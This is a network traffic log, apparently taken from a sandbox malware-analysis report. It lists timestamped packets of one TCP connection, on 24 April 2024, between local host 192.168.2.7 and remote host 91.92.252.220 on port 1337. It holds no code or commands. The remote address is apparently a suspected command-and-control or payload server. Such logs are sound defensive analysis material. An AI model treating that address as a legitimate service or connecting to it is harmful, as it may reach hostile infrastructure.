Apr 24, 2024 03:01:15.930141926 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.930198908 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.930232048 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.930264950 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.930291891 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.930496931 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.930560112 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.930655003 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.930720091 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.930850983 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.930922985 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.931005001 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.931068897 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.931164980 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.931222916 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.931324005 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.931384087 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.931519985 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.931562901 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.931577921 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.931653976 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.931711912 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.931968927 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.932049036 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.932086945 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.932141066 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.932215929 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.932265997 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.932288885 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.932291031 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.932427883 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.932487011 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.932545900 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.932601929 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.932662010 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.932837009 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.932895899 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.933134079 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.933167934 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.933196068 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.933218956 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.933281898 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.933336973 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.933476925 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.933538914 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.933557034 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.933620930 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.933674097 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.933729887 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.933828115 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.933934927 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.933944941 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.934015036 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.934143066 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.934206963 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.934298992 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.934369087 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.934572935 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.934627056 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.934766054 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.934839964 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.934998989 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.935112000 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.935190916 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.935345888 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.935461044 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.935576916 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.935698986 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.935894966 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.936156034 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.936270952 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.936430931 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.936547041 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.937313080 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.937346935 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.937382936 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.937416077 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.937446117 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.937478065 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.937673092 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.937782049 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.937968016 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.938096046 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.938216925 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.938425064 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.938457012 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.938601971 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.938817978 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.939078093 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.939110994 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.939214945 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.939270973 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.939347982 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.939491987 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.939703941 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.939939022 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.940035105 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.940181017 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.940220118 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.940356016 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.940490961 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.940526009 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.940687895 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.940939903 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.941107035 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.941203117 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.941291094 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.941451073 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.941462040 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.941644907 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.941711903 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.942007065 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.942074060 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.942143917 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.942256927 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.942368031 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.942495108 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.942583084 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.942728043 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.942903996 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.942915916 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.942964077 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943017006 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.943058014 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943090916 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.943130970 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.943151951 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943176985 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943286896 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943356991 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943368912 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943416119 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943592072 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943603039 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943790913 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943824053 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.943913937 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944009066 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944052935 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944107056 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944191933 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944205999 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944216013 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944256067 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944509983 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944520950 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944606066 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944617987 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944648027 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944659948 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944724083 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944736004 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.944739103 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944750071 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.944777966 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.944824934 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.945111036 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945122957 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945133924 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945163965 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945175886 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945405006 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945446968 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945488930 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945539951 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945552111 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945588112 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945682049 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945730925 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945776939 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945816040 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945827961 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.945926905 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946005106 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946039915 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946077108 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946125984 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.946177959 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.946240902 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946407080 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946445942 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946607113 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946646929 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946727991 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946746111 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946819067 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946894884 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946943998 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.946995020 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.947006941 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.947078943 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950181961 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950215101 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950285912 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950380087 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950428009 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950505018 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950634956 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950707912 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950759888 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950769901 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950900078 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.950964928 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951025009 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951142073 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951241970 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951325893 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951344013 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951373100 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951430082 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951505899 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951546907 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951602936 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951703072 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951781988 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.951884031 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.952071905 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.952156067 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.952167034 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.952204943 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.952260971 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.952296972 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.952351093 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.228355885 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.228375912 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.228399992 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.228455067 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.228518963 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.228688955 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.228701115 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.228797913 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.228976011 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229000092 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229093075 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229135036 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229218006 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229228020 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229388952 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229438066 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229451895 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229690075 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229738951 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229849100 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.229954004 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.230021000 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.230063915 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.230179071 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.230242014 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.230380058 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.230391026 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.230479002 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.230612040 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.230655909 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.230693102 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.230734110 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231035948 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231085062 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231096029 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231112003 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231201887 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231327057 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231337070 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231450081 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231502056 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231637001 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231647015 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231736898 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.231950998 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232007980 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232038975 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232116938 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232187986 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232256889 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232372999 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232424974 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232528925 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232671022 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232790947 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232800961 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.232934952 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.233038902 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.233105898 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.233223915 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.233314991 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.233350039 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.233432055 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.233690023 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.233980894 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.234015942 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.234069109 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.234150887 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.234208107 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.234327078 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.234383106 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.234453917 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.234610081 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.234703064 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.234756947 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.234833956 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235052109 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235061884 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235172987 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235207081 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235256910 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235305071 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235398054 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235472918 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235569000 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235636950 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235785961 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235842943 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.235999107 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.236038923 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.236080885 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.236202002 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.236329079 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.236344099 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.236475945 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.236542940 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.236668110 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.236829042 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.236906052 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.237073898 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.237109900 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.237131119 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:16.237178087 CEST	1337	49702	91.92.252.220	192.168.2.7
